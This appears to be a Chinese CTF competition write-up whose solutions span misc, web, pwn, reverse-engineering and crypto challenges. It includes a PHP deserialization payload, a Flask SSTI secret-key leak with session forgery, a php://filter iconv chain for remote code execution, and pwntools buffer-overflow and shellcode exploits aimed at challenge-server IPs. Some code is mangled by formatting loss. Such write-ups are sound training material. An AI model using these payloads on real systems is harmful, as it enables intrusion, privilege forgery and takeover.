有三道题没有写出来,剩下的WP 如下:
Misc
签到题------损坏的压缩包
base64解码一下就好了:

- 迷宫
去掉末尾数字base64:

- 幻影
提取密钥然后异或加密。脚本:
import base64
1. 准备数据
将 Base64 密文放入列表
ciphertexts_b64 = [
"wMrHwd2ek8KQwJGS1YuXwJSRi5KSwJ+Lx5+Wn4uek8OS1ZDDw5WS1ZLb"
]
已知的明文头部
known_header = b"flag{"
2. 提取密钥 (核心逻辑)
解码第一个密文
first_ct = base64.b64decode(ciphertexts_b640)
通过前5个字节异或已知头部,得到密钥
注意:这里直接取前5个字节,因为 known_header 长度是5
key = bytes(first_ct\[i ^ known_headeri for i in range(5)])
print(f"推导出的密钥: {key}")
3. 解密函数
def decrypt(data, key):
result = bytearray()
key_len = len(key)
遍历密文的每一个字节
for i in range(len(data)):
异或运算:密文 ^ 密钥
使用 i % key_len 实现密钥的循环复用 (比原脚本的乘法更直观)
result.append(datai ^ keyi % key_len)
return bytes(result)
4. 执行解密
for i, ct_b64 in enumerate(ciphertexts_b64):
ct_bytes = base64.b64decode(ct_b64)
plaintext = decrypt(ct_bytes, key)
print(f"第 {i} 个文件解密结果: {plaintext}")
WEB
贪吃蛇:
查看源代码:
|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| function checkWin(s) { let formData = new FormData(); formData.append('score', s); fetch('index.php', { method: 'POST', body: formData }) .then(r => r.json()) .then(data => { let msgEl = document.getElementById('msg'); if(data.status === 'success') { msgEl.style.color = '#2ecc71'; msgEl.innerText = data.flag; } else { msgEl.style.color = '#e74c3c'; msgEl.innerText = "Game Over! " + data.message; } }); } |
之后发送请求:

php_payment:
下载副件,在src/api/apply_coupon.php处发现反序列化入口:
|-----------------------------------------------------------------------------------------------------------------|
| couponData = _POST'coupon' ?? ''; decoded = base64_decode(couponData); promo = @unserialize(decoded); |
在src/models.php处,发现定义类:
|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| class PromoManager { public promo_credit; public promo_code; function __destruct() { if(isset(this-\>promo_credit) \&\& is_numeric(this->promo_credit)) { _SESSION\['balance'\] += intval(this->promo_credit); // 加金币到余额 } } } |
在购买入口 src/buy.php,发现购买逻辑
|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| item = _POST'item' ?? ''; items = \[ 'basic_vip' =\> 10, 'premium_vip' =\> 50, 'flag' =\> 99999 \]; price = items\[item]; if (_SESSION\['balance'\] \< price) { die(json_encode("error" =\> "Insufficient funds! You only have " . intval($_SESSION\['balance') . " 金币."])); } _SESSION\['balance'\] -= price; |
漏洞利用:
手动构造序列化对象
|-----------------------------------------------------------------------------------|
| O:12:"PromoManager":2:{s:12:"promo_credit";i:99999;s:10:"promo_code";s:4:"flag";} |
base64编码
|--------------------------------------------------------------------------------------------------------------|
| TzoxMjoiUHJvbW9NYW5hZ2VyIjoyOntzOjEyOiJwcm9tb19jcmVkaXQiO2k6OTk5OTk7czoxMDoicHJvbW9fY29kZSI7czo0OiJmbGFnIjt9 |
之后在/api/apply_coupon.php处发送

发送之后,直接购买产品:

taxsystem_ssti:
要登录,不知道用户名和密码,去 init_db.py 中找到用户名和密码为:admin:123456
在 /admin/vault 中找到flag位置,我们要令 role=tax_inspector
我们拿到session,解码后为{"role":"admin","user_id":1},所以直接用admin账号无法访问flag, 需要先获取SECRET_KEY然后伪造session
在/preview/<int:profile_id> 中发现ssti漏洞
由于app.config 继承自 dict, 包含所有 Flask 配置项,所以我们要读取config文件
在/api/import里利用ssti漏洞:
|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| @app.route('/api/import', methods='POST') def import_data(): if 'user_id' not in session: return jsonify({'status': 'error', 'message': 'unauthorized'}), 401 data = request.json profile_id = data.get('profile_id') import_data = data.get('data', {}) db = get_db() profile = db.execute("SELECT * FROM profiles WHERE id = ? AND user_id = ?", (profile_id, session'user_id')).fetchone() if not profile: return jsonify({'status': 'error', 'message': 'not found'}), 404 allowed_fields = 'income', 'deductions', 'state', 'custom_footer', 'year' updates = \[\] params = \[\] for k, v in import_data.items(): if k in allowed_fields: updates.append(f"{k} = ?") params.append(v) if updates: params.extend(profile_id, session\['user_id']) db.execute(f"UPDATE profiles SET {', '.join(updates)} WHERE id = ? AND user_id = ?", params) db.commit() |
构造:(具体要构造什么代码/preview/<int:profile_id>模块有写到)
|--------------------------------------------------------------------------------------------------------------|
| POST /api/import Body: {"profile_id": 12, "data": {"state": "AUDIT_PENDING", "custom_footer": "{{config}}"}} |
之后访问就能拿到session_key了

写py脚本构造session:
|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| from itsdangerous import URLSafeTimedSerializer from flask.sessions import TaggedJSONSerializer import hashlib s = URLSafeTimedSerializer( secret_key='secret_tax_key_2026_xoxo', salt='cookie-session', serializer=TaggedJSONSerializer(), signer_kwargs={'key_derivation': 'hmac', 'digest_method': hashlib.sha1} ) forged = s.dumps({"role": "tax_inspector", "user_id": 1}) |
之后在/admin/vault处提交伪造好的session即可

Enterprise_OA:
故意写空发现 **LFI** 漏洞,考虑使用php:/filter链子实现rce
|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=index.php |
PWN
Authenticate

栈溢出返回后门getshell
#!/usr/bin/env python3
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch='amd64', os='linux', log_level='debug')
# p = process('./auth')
p = remote("120.27.146.76",27861)
sd = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)
rv = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x,drop=True)
rl = lambda: p.recvline()
get = lambda tag,addr: success(tag+': '+str(addr))
dbg = lambda : gdb.attach(p)
ia = lambda : p.interactive()
# lib=ELF('/lib/x86_64-linux-gnu/libc.so.6')
script='''
decompiler connect ida --host 172.23.96.1 --port 3662
'''
# gdb.attach(p,gdbscript=script)
# pause()
ru(b'Username: ')
sd(b'Garhin')
ru(b'Password: ')
payload=b'a'*0x88+p64(0x000000000040101a)+p64(0x00000000004011F6)
sd(payload)
p.interactive()
Noteservice

栈溢出返回后门getshell
#!/usr/bin/env python3
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch='amd64', os='linux', log_level='debug')
# p = process('./note')
p = remote("47.99.147.34",16741)
sd = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)
rv = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x,drop=True)
rl = lambda: p.recvline()
get = lambda tag,addr: success(tag+': '+str(addr))
dbg = lambda : gdb.attach(p)
ia = lambda : p.interactive()
# lib=ELF('/lib/x86_64-linux-gnu/libc.so.6')
script='''
decompiler connect ida --host 172.23.96.1 --port 3662
'''
# gdb.attach(p,gdbscript=script)
# pause()
ru(b'Leave your note:')
payload = b'a'*0x48+p64(0x000000000040101a)+p64(0x000000000401196)
# payload = b'a'*0x48+p64(0x000000000401196)
sd(payload)
p.interactive()
MessageBoard

ret2shellcode
#!/usr/bin/env python3
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch='amd64', os='linux', log_level='debug')
# p = process('./mb')
p = remote("120.27.146.76",23334)
sd = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)
rv = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x,drop=True)
rl = lambda: p.recvline()
get = lambda tag,addr: success(tag+': '+str(addr))
dbg = lambda : gdb.attach(p)
ia = lambda : p.interactive()
# lib=ELF('/lib/x86_64-linux-gnu/libc.so.6')
script='''
decompiler connect ida --host 172.23.96.1 --port 3662
'''
# gdb.attach(p,gdbscript=script)
# pause()
ru(b'Buffer at: ')
buf=int(rv(14),16)
get('buf',hex(buf))
ru(b'Message: ')
shellcode = asm(shellcraft.sh())
payload= shellcode.ljust(0x88,b'a')+p64(buf)
sd(payload)
p.interactive()
Reverse
py_obf
1. 拿到 py_obf_04.pyc 文件,使用 xxd 查看文件头。Magic 为 cb0d0d0a,确认为 Python 3.12 编译。文件大小为 1179 字节。
2. 尝试使用 Python 的 marshal.loads() 加载,报错 bad marshal data。分析发现 marshal 数据起始字节为 0xe3,而非正常的 TYPE_CODE 标识 0x63。对比其他类型字节,发现 0xf3(应为 0x73)、0xe9(应为 0x69)等,确认所有 marshal 类型字节被 XOR 0x80 混淆。混淆规律:仅类型字节 XOR 0x80,bytecode 指令和常量数据内容保持不变。因此标准反编译工具(uncompyle6、pycdc)无法直接解析。
3. 手动逐字节解析 marshal 结构。跳过混淆的类型字节(遇到 0xe3 解读为 'c' TYPE_CODE,0xf3 解读为 's' TYPE_STRING,0xe9 解读为 'i' TYPE_INT),解析出顶层代码对象的常量表、名称表和 bytecode。
4. 分析 bytecode 和常量数据,还原出 Python 源代码逻辑。程序导入 base64 模块,定义 decrypt_flag 函数,函数接收 encoded_data 和 xor_key 两个参数,内部先调用 base64.b64decode 解码数据,然后使用生成器表达式 ''.join(chr(b ^ key) for b in decoded) 对每个字节 XOR 解密。主函数打印提示语,接收用户输入,调用 decrypt_flag 解密并与用户输入比对,打印正确或错误。
5. 从常量表中提取关键数据:encoded_data 为 56 字符的 base64 字符串 oaumoLz+oKqlsqnz/+qg8Kir6ret/73qq7Gx/+quqPC39Km3srar8vW6(位于偏移 0x300),xor_key 为整数 199 即 0xc7(位于偏移 0x338)。
6. 编写解密脚本:base64.b64decode 解码字符串得到 42 字节,然后每个字节 XOR 199,转换为字符拼接,得到 flag:flag{9gmbun48-g7ol-pj8z-lvv8-io7p3npuql52}。
二、解密代码
import base64
encoded = "oaumoLz+oKqlsqnz/+qg8Kir6ret/73qq7Gx/+quqPC39Km3srar8vW6"
xor_key = 199
decoded = base64.b64decode(encoded)
flag = ''.join(chr(b ^ xor_key) for b in decoded)
print(flag) # flag{9gmbun48-g7ol-pj8z-lvv8-io7p3npuql52}

rerere




chacha
1. 拿到 CrackMe_1_5.apk,使用 unzip 解压提取 lib/x86/libmyapplication.so。
2. 使用 Frida 脚本 hook libart.so 中的 RegisterNatives 函数,打印出注册的 JNI 方法。输出显示注册了三个 native 方法 a、b、c,其中 c 的参数签名为 (Ljava/lang/String;)Z,是验证函数。JADX 查看 Java 层,MainActivity 中调用 NativeBridge.c(candidate) 进行验证。
3. IDA 打开 libmyapplication.so,分析函数 c(偏移 0x25390),其流程为:输入字符串转字节 -> ChaCha20 加密 -> 转 hex 字符串 -> 与硬编码密文比对。ChaCha20 加密的 key 和 nonce 在函数 sub_25740 中通过 PIC 基址引用,key 位于偏移 0xF2EB(32 字节),nonce 位于偏移 0xF30B(12 字节),counter 值为 1。密文 hex 字符串在函数 sub_24BE0 中引用,位于偏移 0xE901。
4. 使用 Python 脚本从 .so 文件中提取 key、nonce 和密文。Key 为 149263a16f2d89cbf0375b1ca94e78d3226017ee9abc4d0853e1762a8dc4903f,Nonce 为 44332211abcdef668899aa55,密文 hex 为 d097c3f6d279df23af24ad35e9e08793831c8e2a22a1b2968b。密文 hex 解码后得到 25 字节密文。
- 编写标准 ChaCha20 解密脚本(常量 expand 32-byte k,counter=1,20 轮 quarter round),解密得到 flag:flag{2023326077889096380}。
import struct
def rotl32(value, shift):
return ((value << shift) & 0xFFFFFFFF) | (value >> (32 - shift))
def quarter_round(state, a, b, c, d):
statea = (statea + stateb) & 0xFFFFFFFF
stated ^= statea; stated = rotl32(stated, 16)
statec = (statec + stated) & 0xFFFFFFFF
stateb ^= statec; stateb = rotl32(stateb, 12)
statea = (statea + stateb) & 0xFFFFFFFF
stated ^= statea; stated = rotl32(stated, 8)
statec = (statec + stated) & 0xFFFFFFFF
stateb ^= statec; stateb = rotl32(stateb, 7)
def chacha20_block(key_bytes, counter, nonce_bytes):
const = b"expand 32-byte k"
def le32(d): return int.from_bytes(d, "little")
state = (le32(const\[i:i+4) for i in range(0, 16, 4)] +
le32(key_bytes\[i:i+4) for i in range(0, 32, 4)] +
counter +
le32(nonce_bytes\[i:i+4) for i in range(0, 12, 4)])
working = state:
for _ in range(10):
quarter_round(working, 0, 4, 8, 12); quarter_round(working, 1, 5, 9, 13)
quarter_round(working, 2, 6, 10, 14); quarter_round(working, 3, 7, 11, 15)
quarter_round(working, 0, 5, 10, 15); quarter_round(working, 1, 6, 11, 12)
quarter_round(working, 2, 7, 8, 13); quarter_round(working, 3, 4, 9, 14)
return b"".join(((workingi + statei) & 0xFFFFFFFF).to_bytes(4, "little") for i in range(16))
key = bytes.fromhex("149263a16f2d89cbf0375b1ca94e78d3226017ee9abc4d0853e1762a8dc4903f")
nonce = bytes.fromhex("44332211abcdef668899aa55")
ciphertext = bytes.fromhex("d097c3f6d279df23af24ad35e9e08793831c8e2a22a1b2968b")
keystream = b""; counter = 1
while len(keystream) < len(ciphertext):
keystream += chacha20_block(key, counter, nonce); counter += 1
flag = bytes(c ^ k for c, k in zip(ciphertext, keystream))
print(flag.decode()) # flag{2023326077889096380}

DES
- APK结构分析
解压APK,发现关键文件:
-
classes3.dex --- 主Activity com.cr.crackme2.MainActivity
-
assets/classes3.dex --- 动态加载的DEX,包含 com.cr.test.wide 类
-
lib/x86/libcrackme2.so --- Native库,核心验证逻辑
- 代码逻辑梳理
主Activity(classes3.dex)启动后:
-
从 assets/classes3.dex 复制DEX到私有目录
-
通过 PathClassLoader 动态加载,反射调用 com.cr.test.wide.verifyFlag()
-
verifyFlag 为 native 方法,实现在 libcrackme2.so 中
-
SO文件逆向
用 nm / readelf 查看动态符号表,关键函数:
┌─────────────────┬─────────────────────────────┐
│ 函数 │ 作用 │
├─────────────────┼─────────────────────────────┤
│ verifyFlag │ JNI入口,接收用户输入并验证 │
├─────────────────┼─────────────────────────────┤
│ des_ecb_encrypt │ DES ECB模式加密 │
├─────────────────┼─────────────────────────────┤
│ des_encrypt │ DES单块加密 │
├─────────────────┼─────────────────────────────┤
│ bytesToHex │ 字节数组转hex字符串 │
└─────────────────┴─────────────────────────────┘
DES密钥在 .rodata 段偏移 0xF039 处:12345678
- Flag定位
在 .rodata 段偏移 0xC9DD 处发现一段hex字符串(以 \x00 分隔):
666c61677b484e43544636325244594e54464d5a3154467d
后面跟 080808... 为32字节对齐填充。
0x02 解题
直接对hex字符串解码:
66 6c 61 67 7b 48 4e 43 54 46 36 32 52 44 59 4e 54 46 4d 5a 31 54 46 7d
f l a g { H N C T F 6 2 R D Y N T F M Z 1 T F }

Crypto
ECDSA nonce 重用

|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| from ecdsa import SECP256k1 from Crypto.Util.number import * import hashlib n = SECP256k1.order m1 = bytes.fromhex("57656c636f6d6520746f2074686520435446206368616c6c656e676521") m2 = bytes.fromhex("506c656173652072656f766572207468652073656372657420666c61672e") r = 42493941831872365189986338154081428903366344598716393884703128226988046556525 s1 = 37516881750398229099263960115235771872476168208072403051689040036058441462904 s2 = 6228780292824219513349076049287366907136998444549226179708017324026155299366 z1 = bytes_to_long(hashlib.sha256(m1).digest()) z2 = bytes_to_long(hashlib.sha256(m2).digest()) k = ((z1 - z2) * pow((s1 - s2) % n, -1, n)) % n d = ((s1 * k - z1) * pow(r, -1, n)) % n print(f"flag{{ecdsa_nonce_reuse_{hex(d)2::32}}}") |
BabyRSA
直接开三次方就好

ScatterRSA
广播攻击的变体

